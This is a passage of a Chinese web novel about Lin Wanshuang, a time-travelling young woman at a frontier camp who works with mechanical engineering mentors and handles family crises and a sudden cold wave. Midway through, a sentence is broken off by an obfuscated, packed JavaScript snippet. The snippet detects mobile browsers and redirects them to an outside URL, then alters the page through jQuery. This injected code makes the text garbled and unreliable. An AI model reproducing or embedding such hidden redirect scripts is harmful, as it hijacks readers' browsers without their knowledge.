陆父压根不看他,只盯着林晚霜:“丫头,你是黄花大闺女。是不是?” 林晚霜叹气:“对不起,爸,我真的不是有意想骗你。” “离婚吧,”陆父闭了眼睛,“你们离婚吧。” 这一句话如同响雷,炸的林晚霜和陆沉舟都是一怔。 “丫头,你有本事,我们不能拖累你,”陆父快速说,“而且,我和沉舟他妈都以为我们有孙子了。丫头,无论你是不是故意的。我们家都不会再接受你。离婚吧。” 林晚霜怔住,她脑海中一时闪过万千思绪。 离婚好吗? 离婚后,她将不再受到陆家成分影响,而且赵华老师想把他儿子介绍给她。 她之前不离婚是因为离婚后无处可去。现在很明显,连部应该是愿意要她的。 可是之后呢? 她能在边疆安稳一辈子吗? 林少的事就如同一把达摩克斯之剑始终悬在头上。他现在伸不过来的手,不代表永远伸不过来。 无论有没有原主的情书,她都被卷进了陆家这场纷争。 她根本无处可避。 边疆的生活是她积蓄力量反击的关键。和陆沉舟的联盟也绝不能断。 只能直面问题,解决问题。 把这些人,这些事全部解决以后。 她才有机会获得真正地自由。 “我不想离婚。”她说。 “我不会离婚。”他说。 两人对视一眼,都意外对方竟会说出这样的话。 “爸,我失忆前的事真的一点儿都不记得了。这些日子的相处你们肯定也发现了我和之前的不同,这些是装不出来的。” “现在的我,很确定我离不开他。无论我是成了作家还是研究员,我都不觉得你们是累赘。爸,我们是一家人,请你再相信我一次可以吗?” 她是真的离不开陆沉舟,没了他,她去哪儿找这样的天选盟友?脑子好使,做事果断,能力超群。 在没有彻底弄清楚原主还有多少麻烦,没有彻底解决原主留下的麻烦之前。她决定单方面和陆沉舟焊死。 至于陆沉舟会不会厌恶? 首先她没有说自己喜欢他,其次他们本来早就达成了共识,她还答应陪他一起报杀母之仇了。 “爸,我不会离婚。我是真的喜欢现在的她。”陆沉舟一脸真挚地说。 林晚霜差点忍不住要给他鼓掌。我去,影帝啊!就这演技,她要不是当事人她都要信了。 果然成大事者不拘小节,瞧瞧人家之所以比她成功是因为人家比她更豁得出去。 为了大事,可以说出喜欢她。太了不起了。 “至于孩子,等时间合适,我们家情况也稳定了。我会要的。”陆沉舟非常认真地说,“爸,相信我,现在不合适要孩子。” 林晚霜内心疯狂给他鼓掌:瞧瞧他说的多好啊。不知道的人还以为他是要等时间合适和她生孩子呢。 只有她知道,等一切尘埃落定他们就会离婚,然后他去找个合适的女人结婚生孩子。 想到不久前他还认真地请教她战略性沟通技巧和要点,而现在他竟然已经青出于蓝而胜于蓝。 想到自己光一个承重轴结构设计图已经改了31次,她感到了嫉妒,那种学渣对学霸从骨子里的嫉妒。 迟早有一天我和你们这些学习能力强的牲口拼了! 陆父叹了口气,问她:“你真的不想和沉舟离婚?和我们脱离关系,你会有更好的人生。” 那首先得她能活下去啊!单打独斗应对未知的敌人,她的胜算没那么高! 林晚霜想到这里,挑衅地看了眼陆沉舟:呵。就让她这个老师来给他上一课,看看什么才是顶级的说话技巧吧。 想到这里,她跪下去,悄悄用手掐了把大腿:“爸,我真的爱沉舟,我没他会死的。我来边疆全是为了他,爸,求求您,再给我一次机会吧。” 陆沉舟整个人僵住,从她的第一句话起,他的耳朵,脸,飞速涨红。 一瞬间他只能听到她的说话声,还有他血脉偾张地声音。 “她爱我”“她说没我会死”“她是为了我才来边疆”“她为我下跪”“她好爱我”…… 他的脑海里循环着这些话,手心全是汗,心里炸开大片大片的烟花。 他无法形容自己此刻的心情,他想,他可以为她去死。 他觉得自己快忍不住了,他想亲她,想和她一起睡,想和她生一堆孩子,想一辈子,一直一直在一起。 “我不会让你等太久的!”他忍不住上前将她拉起来,抱住她。 林晚霜很懵逼地被他抱紧,然后她快速反应了过来。 陆沉舟的意思是,他会努力加油尽快解决问题,好早日还她自由。 现在抱她是跟她pk演技? 这她能输? 林晚霜抬起手,死死将他拥紧:“我相信你,你说的一切我都信!” “爸,”陆星野感动极了,“爸,你看哥和嫂子,你就别拆散他们好吗?嫂子现在是真的变了,而且她和哥那么相爱。” 陆父的脸一阵红一阵白,最后他叹了口气:“我不管了,你们既然要在一起就在一起吧。沉舟,你还不快点带你媳妇去处理下?她今天还去不去实验室了?” 假孕危机最终就以这样虚惊一场平滑的过去了。 林晚霜换下脏裤子仍旧感觉有些不可思议。 换下来的脏衣服只能先放在盆里晚上回来洗。 血渍其实最好用冷水,只是她现在要少碰冷水。 林晚霜一边往实验室走,一边开始琢磨温水洗了有残留痕迹该怎么遮掩。 进了实验室,忙碌的一天又开始了。 昨晚她最后一次画的承重轴设计图果然过了关,李安民看着她一脸严肃:“虽然你完成了一个不错的设计,但你不能因此骄傲。你今天把你设计的三个机械的连杆结构画出来再下班吧。” 三个连杆结构画到晚上十一点才勉强通过。 林晚霜拿着手电筒一边往宿舍走,今天陆沉舟和她说好晚上他守夜,不用她去医院了。 等回到宿舍,同屋的朱盼娣早已睡了。 林晚霜蹲下身准备去拖床下的盆,却发现拖了个空。 她一下子傻了,她的脏裤子呢?她那么多条换下来的脏裤子呢? 这年头不会有人穷到连这样的裤子都偷吧? 她立刻起身寻找,却在床上看到一张折叠好的纸。 她展开,打开手电筒看了眼。 【晚霜,你现在不适合碰冷水,我把脏衣服都洗了晾在阳台,另,阳台上晾着的棉布条是按你做的方法新制的。我也洗了用开水烫过了,记得及时收起。下午有车去师部,我带爸过去了。星野不能久留,已送回102排,你有事打电话到师部。】 她心头一惊,立刻去阳台上。 只见夜风中,晾衣绳上晒满了她的脏裤子和棉布条。 “他居然给我洗裤子?”她的脸腾的红了,“完了,再这样下去我都快当真了。以后离了婚,我还能看上谁啊。” 47. 第 47 章 当破壳犁第三次实验成功时,时间已经过去了五天。 期间陆沉舟打过一次电话来找她,目前他以照顾父亲疾病为由暂时离开了102排。最早要到这个月月底才有时间回来。 具体的行程林晚霜自然不会多问。只是她很担心一个人在营地的陆星野。 所以当实验宣布成功,将开始少量生产做试点时,她正式向两位老师提出要回102排。 “你家的情况我们都知道,”李安民看着面前瘦了一圈眼圈还发黑的小徒弟,也有些心疼她,“正好地已经完全冻上了,等到明年开春我们再做剩下的实验吧。” 赵华默不作声搬出一摞文件:“我和老李这段时间根据你的情况收集整理的资料,这个冬天你回102排上工之余,可不能松懈。明年开春回来就要考试。” 林晚霜看了眼发现里面很多都是手写的,而且很新。 她眼眶一红:“你们每天那么晚才回去,怎么还去写这个?” 她这些日子瘦了一圈,两个老师又何尝不是? 她才19,过了今年也才20,可他们却已经四十多岁了。 这些日子她光是学习,画图,动手做机械就很难熬。 可全程都要跟着全组,指导每个人的他们呢? “老师,我会好好学习的!”她郑重地向他们鞠躬,“明年开春等我好成绩。” 两人朝她笑着点头,李安民掏出一张报纸递给她:“一周前就收到了,怕你分心不敢给你。恭喜,林作家,你的文章登上《人民日报》了!” 林晚霜接过报刊仔细看,李安民用红色的水笔把她的文章圈了出来,此刻格外醒目。 “我登报了!”她不敢置信,她真的成为作家了。 这叫什么?先吹牛,然后再坐实吗? 赵华看着她,笑容慈祥:“开心吧,知道你赶时间,我们已经帮你约好车了。车里有你两位师母给你准备的东西。希望你过个好年。” 他又补充道:“其实这些笔记也该放在车里,但是老李说,那样你可能会不重视。所以委屈你自己搬下去了。” “不委屈,不委屈。”她连连说,此刻的她内心全是喜悦和幸福。哪里有半分委屈? 抱着书,背着包袱被子。她往连部门口走。 走到连部中心传达室那里,传达室的执勤战士叫住了她:“林作家,有你的信,师团部的战友早上带过来的。” 林晚霜心里突然爆发出难以抑制地喜悦,她慌忙上前,拿过信。 不是陆沉舟! 然而下一秒,内心的失落被喜悦替代。 寄信人叫做严敏容。 信封被拆开了。 这是在所难免的,毕竟这里是部队,例行检查必不可少。 一共三页纸。 第一页,严敏容汇报了他的身体恢复情况。他的肺病在常大夫的出手下很快治好了,目前主要是调理亏空的身体。 第二页,严敏容就她寄回的知识点问她相关问题,顺便将自己的一些困惑也写了出来。要是之前,她估计又得问小智。现在她胸有成竹,主要是大多数问题就是她最近遇到过并且被师父反复教导过的。 第三页,严敏容提出自己想要来边疆找她学习的想法。 林晚霜想了一下,把东西先寄存在传达室,抓着信就往实验室跑。 跑到门口,她刚刚举起手要敲门,就听到里面两个师父一边打扫卫生一边说话—— 李安民伴着扫帚发出的刷刷声说:“这孩子有点怪,基础特别差,但是很好学。我们讲的内容她听一遍就记住了。但是现在不会用。” 赵华将帕子从搪瓷盆里拎起拧干:“老李你也发现了?我总觉得她很矛盾,好像只有记忆力超人,其他的都不太行。” 李安民去拿阳铲的脚步声和刮擦墙面的声音:“有时候我真的怀疑她说的那个画设计图的朋友真的存在。不然很难解释她那三张设计图。” “算了,但已经是咱们徒弟了,努力,好学,这就够了。”赵华将帕子浸入水,又一次拧干。 “这是缘分,反正我不后悔收她当徒弟。”李安民拿来阳铲往里扫灰,扫帚和阳铲接触的刮擦声。 林晚霜敲门的手一直举着,眼泪不值钱地流了下来。 原来她的异常他们早就发现了。 她不是天才,甚至人才都算不上。 她只是一个很普通很普通的人,因为机缘巧合有了一个金手指。 金手指用起来的时候,她宛若大神附身,被他们当成了有天赋的天才。 而当她不靠这个金手指的时候,她立刻被打回原形。 可即使如此,她的两位老师,从来没有放弃她。 赵华的笑声隔着门板传来:“你要不要考虑换个徒弟?把小林完全让给我?” “滚你娘的,你咋不换?”李安民怒了,“我就知道你是想独占徒弟。我见过的天才多了,真以为我看到天才就收徒?” “我精力有限,就这个徒弟都够我费心了,不换不换!”赵华叹息,“倒霉,徒弟还得分你一半!” 林晚霜轻手轻脚地走开,擦干眼泪,然后边跑边叫着:“师父,师父,我来了!” 实验室的门开了。 赵华迎出来。手上还抓着湿抹布:“还没开春呢,你就回来了?怎么哭了?” 李安民立刻走出来:“哭了?谁欺负我徒弟?你的行李呢?被人抢了?” 看到两个师父毫不掩饰地关心,她的眼泪又要流了。 吸了吸鼻子,她把信递过去:“我徒弟寄信来了!” 赵华手占着不好拿,李安民赶紧接过和他一起看。 看到第二张他们感叹:“这孩子真不错,想法很深入,小林你等会儿就在这写回信。我们顺便检查下你是不是学会了。” 看到第三张,两人陷入沉思。 “17岁,身体还弱。”李安民脸上露出些不赞同,“瞎胡闹呢。” “不过这么好的苗子,明年开春的实验可以让他学到不少东西。”赵华摸着下巴思考,“小林,你怎么想?” “严敏容是真正的天才,”她认真地说,“我只是个普通人,而且学习能力也不强。老师们要不要考虑收他当徒弟?” 两个人对视一眼:“他不是我们徒孙吗?收他乱辈分了。” “可我不介意,”她赶紧把之前在严家收徒的事详细说了,“我收徒是耽误他了,这么好的苗子要给老师才行。” 李安民突然笑了:“他爸是纺织厂的工人?我记得咱们市里也有一个纺织厂,让小赵去聊聊,把人从T市调过来。让这孩子作为家属陪同。” 林晚霜毫无疑义,信里严敏容甚至说他爸要把工作卖了陪他以知青的身份过来。如今能保留工作,严松肯定愿意。 “那收徒的事我要写吗?”她试探性地问,想趁机把严敏容推销出去。 “收什么徒?”李安民看了她一眼,“知道我和你赵师父为啥在国外努力学习还要去大学讲课吗?” “为了扬我国威?”她猜测。 “因为给别人讲课的过程,本身就是自己对知识体系的梳理和巩固。不然我们吃饱了撑的去给一群老外上课?”赵华白了他一眼。 “所以回到国内你们不去上课是因为已经吃透知识了,只想抓紧时间用于实际生产?”她恍然大悟。 这不是后世著名的费曼学习法吗?她默默想着,原来所谓国际上杏林满天下的真相是因为师父把他们当磨刀工具了。 一时间不知道要不要同情一下老外他们。 “所以你明白即使小严过来,教导他的人也只有你了吧,”李安民脸上有幸灾乐祸的笑,“不想在徒弟面前丢脸的话,就努力吧。” 林晚霜明白,这个冬天她是真得头悬梁锥刺股了。 不仅是为了不在徒弟面前露怯,更是为了面前这两个知道她普通,却仍旧努力教导她的老师。 写完给严敏容的信,两位老师检查的格外认真。 “问题回答的不错,但是语句啰嗦不够简洁,”李安民率先点评,“举例不够生动形象,勉强及格吧。” 赵华却拍了拍她的肩膀:“小林,我和你李师父很早就发现你是个普通人了,但是我们仍旧看好你做我们的衣钵传人。因为你足够努力,足够勤奋。” “师父,我……”林晚霜很难形容自己这一刻受到的震动。 衣钵传人,她以为她只是普通的徒弟。 结果却被两个大师视为衣钵传人。最关键的是,他们都知道,她只是个普通人,却仍旧选择了她。 在这一刻她下定了决心,只要学不死就往死里学。 她一定要把基础知识学透吃透,然后再结合小智的知识库,这一次,不是抄袭,而是要超越。 她要将自身所学与跨时代的知识结合,利用这个时代现有的资源,制作出超越时代的机械产物。 如此才能不给师父们丢人,如此才能将师父们的衣钵发扬光大。 “我会努力的,我一定会努力的,”林晚霜激动地立下flag,“如果开春考试,我错一题,我就自己一个人手搓一台破壳犁出来。” 林晚霜跟着两个老师一起去找赵铁柱寄信,又顺便去传达室拿了东西。 最后再晕乎乎地被老师送上吉普车。 直到离开连部很长一段时间,她才反应过来:“我去,我被老师们骗了!我根本不可能考满分!他们看出来我不敢动手做实物机械了!” 被老师骗了能怎么办? 林晚霜选择笑着接受。 “他们都是为了我好,”她认真地复盘着,“路上时间有点长,我还是抓紧时间复习下学习笔记,不能浪费时间。” 她闭上眼睛开始翻阅小智帮她记的学习笔记。浑然不知自己已经变成了以前最讨厌的好学生。 等到了营地,她还意犹未尽,嘴里念叨着:“ 拉格朗日方程变分原理:在相同初始和最终位形下……” 汽车兵的耳朵受了一路荼毒,此刻恨不得赶紧把她送下去再也不见。 研究员恐怖如斯,吓死他这个学渣了。 林晚霜并不知道之所以雪天他们还能没耽误时间在午饭点到达102排完全是因为她“作法”的缘故。 她现在在102排可算得上是名人了。 谁不知道陆家出了个厉害的媳妇儿,不仅自己去连部研究改良机械了,还给自己病重的公公找了门路送去医院住院。就连她男人也因为她不用去开荒队卖劳力了。 如果不是她人缘实在好,陆老头和亡妻的故事又太戳人,小叔子在营地也很勤快。他们家早就被红眼病围住了。 不过现下看她大包小包地往外搬东西,众人也是眼红。 “那么多书啊,”有人酸溜溜地说,“这不该是个□□?” “闭嘴吧你!”旁边有人骂道,“书也分好书和禁书,人家在连部带回来的,能是禁书?” “那大包小包的吃的……”有人眼红吃食。 “那也是人家有本事,不像咱们,土里刨食,一辈子穷酸命。” …… 林晚霜对这些话早有心理准备。 两位师母给她准备的粮食其实不多,毕竟现在到处都缺。 小米约莫3斤,馒头4个。其余的都是糕点和糖果。 她把糖果小米和馒头都藏在衣服包袱里,只留□□型大,又不太好藏的一盒糕点。 此刻她扬起笑容,脚下堆着书和包袱,手上是糕点和报纸。 她大声道:“这是我两个师母特意为咱们营地的人准备的糕点,感谢大家平时照顾我小叔子,东西不多,大家甜甜嘴。” 这下子酸她书,酸她吃食的人都无话可说了。 她又扬了扬手中的报纸:“我的文章上报了,这下全国人民都知道咱们102排啦。” “哗——” 如同一滴水炸进火热的油锅,一瞬间到处是议论声。 王光明和李浩挤了进来,王光明满脸喜悦,李浩脸上却满是复杂。 “林作家,你说文章上报了?”王光明搓着手紧张地看着报纸。 林晚霜递过去,他却让开叫李浩接:“我不识字,让李排长念。” 他又大喊一声:“所有人给老子闭嘴!李排长给大家读报了!” 这如同洪钟的声音一出,所有人瞬间静下来,一双眼睛直愣愣看向李浩。 李浩捏着手中的报纸,决定等会儿再找林晚霜说话。 他展开报纸,一眼就看到了被红笔圈起来的地方。 他声音抑扬顿挫,显得格外有感染力:“《到边疆去,到祖国最需要的地方去》作者,林晚霜……” 一千多字的文章很快读完。 有人忍不住再次要求:“李排长,再读一次吧。我好像听到里面有咱们开荒队。” “还有我们运输组!”有人立刻说。 一瞬间场面又乱起来,大家都在说听到了自己。 李浩看了眼他们:“再吵就不读了。” 于是他们又安静下来。 在听报声音中,林晚霜把一盒子糕点留下,自己背着被子,挎着包袱,抱着书往自家地窝子去了。 陆星野还没下工,经过曹家的扫荡,地窝子显得萧条落魄多了。 曹家的下场她听说了。曹小莲和曹大军因为办的事引起众怒,被群众暴揍。 一个瞎了只眼睛,聋了两个耳朵。 一个眼睛全瞎了,还断了条腿。 杜枝花和曹小军也不好过,一个腿断了一个手断了。 他们因为没深入禁区逃过一死,被扔到了比102更偏的地方继续劳动改造。而那里,几乎都是地痞流氓。 地窝子里的锅也没了,灶是烂的也没修。 石床也被弄坏了。 她看的差点气笑:真特么的一群神经病,石床根本带不走,他们居然把床里的填充物给扬了。床上和墙上的油布全部拆走。 现在除了地窝子顶部还有一块油布外,其他地方都没了。 简直蝗虫过境。 玻璃罐碎渣和被撕碎的纸张放在一起。应该是陆星野放的。 他这些天以来应该是一直在默默收拾打理这个家。 被收拾后的样子她看了尚且来气,可想而知陆父当时直面现场,得有多愤怒。 冬日里的土已经差不多冻上了,没有地方再去找沙土填充石床。她看了看那两床明显带着臭鸡蛋味的被子。 这肯定是不能要了,和糟不糟践东西无关。 冰河是碱水河,碱水河水质偏硬,含有钙、镁等矿物质。混合着人体的皮屑,汗液会产生化学反应。 这种被子盖了不仅不保暖,还会增加得皮肤病,肺病的风险。 她皱着眉把两床被子拖出去,却看到旁边的地窝子有人进出。 这里有新住户了? 她正猜测,突然一个惊喜地声音响起:“林同志?!是你吗?林同志?” 她回过头了,只见一个清瘦白皙充满书卷气息的青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248465|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年正满含深情地看着她:“林同志,能见到你真好。” 哦豁!看来是原主的桃花? 然而她一头雾水,连人姓啥都不清楚。 她扯着手中的被子,假装很忙:“你怎么来这里了?这都冬天了。” 开始新一轮的探听信息游戏。 他一脸惊讶:“你不知道?冬至后,城里闹了饥荒,国家号召知青下乡,向土地要粮。所以今年冬至后又一大批知青下来了。” “我们提前一个月来的,”林晚霜笑着说,“这里……怎么能知道城里的信息。” 男同学笑着摸了摸自己的脑袋,显得有些憨:“不过我们过来一周了,还是第一次看到你。听说你去连部搞设计了?我记得你以前很不喜欢学习。” 林晚霜心头一紧,面上去笑得轻松:“现在也不喜欢啊,不过比起下地,做啥都好。” 男同学深以为然地点头:“听说你当作家了,我们T市报刊上你发过文章?不能吧,你好像连作文都写不好,哈哈哈。” “士别三日刮目相待,”她不动声色地打量着他,“更何况我嫁了人,你应该听说过我男人学习特别好,他们家书香世家,我受点熏陶不奇怪。” “嫁人?你不喜欢那个人了?”男同学突然问。 她按捺住心中的不安,不动声色地试探道:“我喜欢的人太多了,你说的是哪个?” “除了林……”他突然住嘴了,“你喜欢很多人?” 完了!林少的手真的伸过来了? “你应该知道,我就写过那一封信。”她按捺下不安,继续试探。 “对你来说也很可不起了,作文都写不好的人,居然写了5页纸的情书。”他笑着说,语气中很是熟稔。 林晚霜的心沉了下去,但她仍旧不能就此认定这是林少来逼着她杀人的眼线。 “你这次过来,是干什么?”她冷冷的问,“他交代了什么?” 男同学脸色一变:“你是组织的人?” 林晚霜彻底实锤了他的身份,“组织”又见这烂俗的暗号。 她点头,凑近:“我正在做组织安排的任务,但事情发生了一些变化,需要多一点时间。” 男同学想起她在连部的事情,虽然他不知道组织给她安排了什么任务,但他心里自然明白能深入连部,这必然是值得的炫耀的业绩。 没想到他这个看起来又傻又坏的老同学,现在竟然混成了组织精英人才。 “你以前藏的可真好啊。”他由衷地感叹。 她不知道他想表达什么?难道是夸原主下药成功的事?他们能不能夸点别的?怎么赵干事夸完他又来。 “哈哈哈,彼此彼此。”尬聊继续,得找个机会和陆沉舟说说林少的人过来的事了。 “这被子掉到冰河里了,不能要,我去扔个被子,你先忙哈。”她借故要走。 他明显是想找机会多和她说点话于是立刻道:“不忙,我今天下午请假了,我帮你扔吧。” “好!”她立刻答应,转身回地窝子,“我这里还有一床也要扔。” 她很快把被子拖了出来给他:“辛苦你了,冰河要是还没全冻上就扔冰河里吧。如果冻上了,反正你要找个没人看到的地方扔,这被子有毒,被人捡了就不好了。” 男同学顿时明白,这两床被子里定然藏了组织的机密。 林晚霜把这样重要的东西交给他处理,这是多大的信任啊。 他瞬间被感动了:“放心,我一定会找没人的地方亲手销毁它们!” 林晚霜总觉得他说话很奇怪,销毁?这又不是什么证物?为啥要说销毁? 算了,反正不要被人捡去祸害人就行。他愿意咋说留咋说吧。林少的人和林少一样都是疯子。 见她点头,男同学干劲更足,立刻抱起两床被子就走。 “那个……”她想叫住他提醒一声被子很臭,想想又算了,可能他就喜欢闻臭鸡蛋味,跟有人喜欢螺蛳粉味的香水是一个道理。 有人帮忙处理臭被子,她就开始收拾地窝子来。 开着门散味,同时用扫帚把地窝子扫了一遍。 然后她开始重新铺床。 再次痛骂曹家不是人,她费劲地把六根石头往里并并,把三张小床暂时并成一张略大的双人床。 又将包袱里的衣服之类的东西铺上去,还是有点硌。 然后把她带回来的被子铺上去。 幸好他和陆沉舟去连部的时候都带了被子,不然曹家估计都要给嚯嚯了。 狗日的曹家! 她想起来又忍不住骂了句。 把床铺好无事可做,于是她干脆拿起老师给的书认真看起来。 陆星野知道嫂子回来了非常高兴,他站在人群里和他们一起一遍又一遍的听嫂子写的文章。 听完文章又有糕点吃,抿着分到手的指甲盖大的糕点,听着周围人夸嫂子的话,他脸上全是喜悦。 下午他又跟着一群小孩去挖野菜,半点儿都看不出他雀跃到要飞起来的心情。 直到晚上下工,李浩叫住了他:“陆星野,我找林作家有点事,和你一起走吧。” 林晚霜看书看的忘记了时间。 饿了她就啃馒头。 天黑了她就闭着眼睛看脑海里的读书笔记。 直到门被敲响她才知道下工了。 “林作家,”李浩看着她,“我大伯寄信来了。还有我家人说翻遍了T市这几年的报刊,没有找到你的文章。” 难得遇到这么较真的人,林晚霜也不隐瞒,将事实和盘托出,当然她没说陆沉舟的部分,毕竟不说不算隐瞒。 “事情就是这样的,我承认我是为了让你们更重视我,”她坦然地说道,“您觉得这事该怎么办都行,毕竟我有错在先。” 李浩严肃的脸绷不住了:“我以为你会隐瞒,会编借口。没想到你居然承认了。” “谎言说一次就够了,”她诉说自己的原则,“编太多很累,我也记不住,我一向不喜欢辛苦自己。” 李浩看向她身边的书:“这也不辛苦?” “这不是辛苦,这是荣幸,”她正色道。“我以菲薄之力有幸亲历这段传承,全力以赴仍恐不够。” 她一语双关,来到这个时代,有幸识得一群有着崇高理想的人。她不是天才,却也妄图想与天才同台而竞。 因此,唯有拼尽全力。 李浩自然不知她的隐秘想法,但只听她话的表意,也深感触动。 两人说话间,陆星野将浮灰吹去,添了新柴。 火光明灭重,林晚霜在李浩的示意下看了那信。 信很厚,是毛笔字,老人肯定自己认识陆振族,且话语间多有推崇。最后又问到他的后辈情况了,问他后辈是否正直,是否不辱他之名。 “我的回答是,肖先辈,不堕威名。林作家,请你告诉我,我的回答可否有误?” 林晚霜坚定地看着他:“无误,但不够,时间会证明一切。” 李浩闻言笑了,他不是王光明,他不信陆沉舟真的是因为照顾父亲才不能回来。 只是—— “可惜了,他应该是赶不上我们的冬狩队了。”他颇有些遗憾。 李浩很快离去,陆星野看着床的变化睁大了眼睛:“嫂子,被子不见了?还有这床,我们晚上怎么睡?” 林晚霜见他瞪大眼睛可爱的样子,伸手掐了掐他的脸颊:“被子有毒,不能盖了。反正这个冬天你爸和你哥多半回不来,你就跟嫂子一起睡呗。” 48. 第 48 章 林晚霜睡梦正酣,突然感觉身下的石头隔着衣服透出寒气。 胸前突然砸进来一颗小炮弹:“哥,好冷!” 地窝子的缝隙刮进寒刃。 她猛地睁开了眼,风声咆哮,远处仿佛有什么重物被吹倒。 她的睡意消退了大半,皱眉问道:“小智,发生什么事了?” 【小智:宿主,百年难得一遇的大寒潮来了,非常突然,就连我也才刚刚监测到。请宿主注意防寒保暖!】 大寒潮! 她心里猛然一惊,抱着陆星野起身,将原本展开的被子折叠了一下,一半垫在身下,又躺了进去继续睡。 防寒现在也只能做到这样了。 该死的曹家! 算了,多想无益,继续睡吧。 然而她没睡多久,就听到铜锣声响:“寒潮!大寒潮!明天开始不上工!注意保暖!按户去灶房领食物和柴火,自己开火咯!” 开火?她锅都没了! 该死的曹家! 她闭上眼伸手堵着耳朵继续睡。 翻了身,她睡不着了:妈的,怎么就忘了买口锅回来? 这一夜注定是无数人的不眠之夜。 “该死的曹家!”有两处地窝子里同时爆发出谩骂和怒吼。 林晚霜他们至少还有一条被子,他们更惨,啥都没了。 等到天亮,人们开始陆续出门带上盛放粮食的搪瓷杯和饭盒,去灶房领东西。 风很大,远处的红柳林都倒了一片。 然而没人会因为多了这些柴火而开心,大家脸上都是苦涩。 “狗日的,还让不让俺们活了。” “艹你姥姥的,这风大的快把我吹走了。” “你们看,远处的冰河全冻上了。还有这地,滑不溜丢的,我脚都要冻僵了。” 林晚霜用棉袄裹紧身体,围巾裹紧头发,猫着腰低着头往前走。 她手裹在袖子里,隔着袖子拿着她的搪瓷盆。 这就是她以后的锅了。 多谢师母送的盆,不然她想熬粥只能靠做梦。 走到灶房,今天大家拿东西要排队进灶房。 这里原来有三口并排的灶,每个灶上都架着一口五人合抱的大锅。 只是今天灶上没升火,看上去有些萧条。 考虑到大多数队员家里都没有锅,排里发的基本上都是整包包谷棒和红薯土豆这种粗粮。 看到她进来,张子枫将她拉到一边,露出一张苦涩的脸:“林作家,小褚从连队回来,说那边也遇到麻烦了,现在咱们得全靠自己了。可是这个月的米粮还没下来。我们营地顶多还有一个礼拜就要断炊了。” 林晚霜没想到情况这么坏,她立刻问:“市里呢?我们可以去……淘吗?” 张子枫听懂了她的意思,摇了摇头:“咱们这里目前大多数物资都靠每月一次的运输补给。现在铁轨都给吹坏了,正在抢修。到处情况都不好,有粮的都死死捂着,估计得等寒潮快结束了才敢往外卖。” 这年头有粮才有命,万一饿死了,赚再多也没用。 他忍不住看着门外被寒风吹的猎猎作响地木门:“也不知道这大寒潮能不能在咱们断炊之前结束?” 结束不了! 林晚霜默默看着小智的天气显示,未来10天情况会越来越严重。 至于10天后?小智只能监测未来十天的天气。多的它做不了。 但也说不定这其中会突然有转机,毕竟这次大寒潮它就没监测到。 怀揣着美好的期盼,林晚霜安慰地拍了拍他肩膀:“可能这大寒潮来的突然,去的也突然?” 张子枫想不开,他苦着脸:“可是李排长说了,最近记载的边疆一次大寒潮在一百二十多年前,当时持续了两个多月,死了无数,遍地寒尸饿殍。” 她沉默了,她不仅知道这个事,还知道具体的死亡数目。 领到了1斤玉米碴子,四颗土豆,一小捧盐和一小捆柴火,林晚霜拖着往家走。 路上又看到了那个男同学,他还疯狂给她眨眼睛。 神经病,这么冷的天她才不要当杀手。 假装没看到,她闷头继续走。 这次回去她顺便问了下陆星野:“住咱们右边地窝子里的是谁啊?” “两个男知青,一个叫周志平,也是T市的,还有一个叫卢文,东北的。”陆星野回道,“嫂子,咋突然问他们?” “T市那个昨天找我说话,听意思好像之前是我同学,但是我不记得。”林晚霜解释道,“神神叨叨的,你以后离他远点。” “不记得好,”陆星野像大人一样拍了拍自己的胸口,“嫂子,你那些记忆不是好玩意儿,千万不要去想啊。你就保持现状最好了。” 林晚霜默然看着他,突然想起陆沉舟说“你要是摔回记忆了。我就把你捆起来再摔失忆”。 该说不愧是兄弟吗?都不想她恢复记忆。 虽然她的确也恢复不了就是了。 把土豆埋在灶灰里闷着,又找了块干净的布把玉米碴子倒出来。 盐是最珍贵的,他们原本有半斤,现在…… 算了,今天不骂人! 把东西放好,她拿起搪瓷盆就出门去挖雪。 从第一场雪开始营地里就不发水了,现在是不限制水的季节,谁要水自己拿东西去挖雪回来化就行,要多少有多少。 所有人都清楚雪水很脏,然而和渴死比,脏又算什么? 林晚霜冒着大风去挖了满满一盆雪端回来,感觉自己手指冻的都失去了知觉。 她原本以为自己已经做足了在边疆过冬的准备工作,可真的到了冬天才发现准备的根本不够。 像手套,她压根没想着备一双。 不过就算提前备了现在也不一定还在。 该死的曹家! 把搪瓷盆放在灶上烧起来。她立刻坐在灶前烤火暖手。 陆星野给她让了位置,眼睛看着她,小心翼翼的说:“嫂子,家里柴火不太够……我听说红柳树被吹倒了好多。” 她一边烤着火,一边漫不经心地说:“那红柳树湿的也不好烧,反正柴火的事你不要操心,我心里已经有主意了。你放心吧,我肯定不会让咱家缺柴火。” 等搪瓷盆的雪化了,她用饭盒盖艰难地将浮在水面上的脏污撇去。 又想骂人了,谁家贼连锅铲都偷的? 看着盆地沉淀物,她犹豫了下。拿出两个饭盒,开始通过反复倒水把底部的沉淀物尽量撇掉。 “这里可以用到阿基米德定律可以估算出沉淀物的体积和重量……”她忍不住开始算,然而算到一半才反应过来,“我神经啊,沉淀物的重量算出来有啥用?” 陆星野在旁边听的目瞪口呆。 他嫂子嘴里念的什么“重力加速度”“流体的密度”。每个字拆开他都懂,合起来却像是天书。 他哥说的对,他嫂子私底下可真爱学习啊。 就是,有点可怕。 将水处理了几次后,搪瓷盆中只剩下一半的水。 仍旧不太干净,但没有办法,她没材料做净水片。 物理的过滤方式,需要用到石头和沙子,目前也没办法弄到。 勉强用这样的水加玉米碴子小米煮了一锅热气腾腾的稠粥,出锅前还撒了点盐。 旁边的小孩看的目瞪口呆:“嫂子,咱们一顿吃这么多粮,是不大算过日子了吗?” “呸,臭小子你尽瞎说。”她眼角眉梢带着笑,语气轻快。 她回102之前已经托赵连长帮她多弄点粮,盐和柴火了。 毕竟这些日子就陆星野一个小孩在家,她总不会去指望一个不到六岁的小孩能在把自己照顾好的同时,还能囤积物资吧。 不过说起年龄—— “星野,今天就是你生日了对吧。”她之前听陆沉舟特意提过,陆星野的生日在腊月十五。 她也就是因为这个,所以昨天才赶着回来的。 